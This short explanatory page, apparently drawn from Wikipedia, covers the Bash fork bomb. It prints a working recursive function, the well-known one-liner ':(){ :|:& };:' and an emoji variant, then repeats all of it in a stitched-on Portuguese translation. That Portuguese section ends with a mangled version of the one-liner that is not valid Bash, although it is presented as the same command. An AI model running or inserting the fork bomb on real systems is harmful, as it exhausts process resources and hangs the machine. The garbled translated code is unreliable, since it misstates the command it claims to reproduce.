:(){ :|:& };: Significado

Bash[edit]

In Bash, a fork bomb can be performed by declaring and calling a multiple-recursive function:

bomb(){
  bomb | bomb & 
}
bomb

Additionally, one of the most famous and commonly cited examples of a fork bomb is this dense one-line Bash command:

:(){ :|:& };:

This command is an obfuscated version of the above. The trick here is that : is used as a function name, which is possible because the colon is not a reserved character in Bash as it is in most other languages. Otherwise, it is identical.^[6]

With unicode support, it can similarly be rendered as:

💣(){ 💣|💣& };💣

No Bash, uma bomba bifurcada pode ser executada declarando e chamando uma função recursiva múltipla:

bomb(){
  bomb | bomb & 
}
bomb

Além disso, um dos exemplos mais famosos e comumente citados de uma bomba fork é o comando Bash de uma linha:

: () {: |: &} ;:
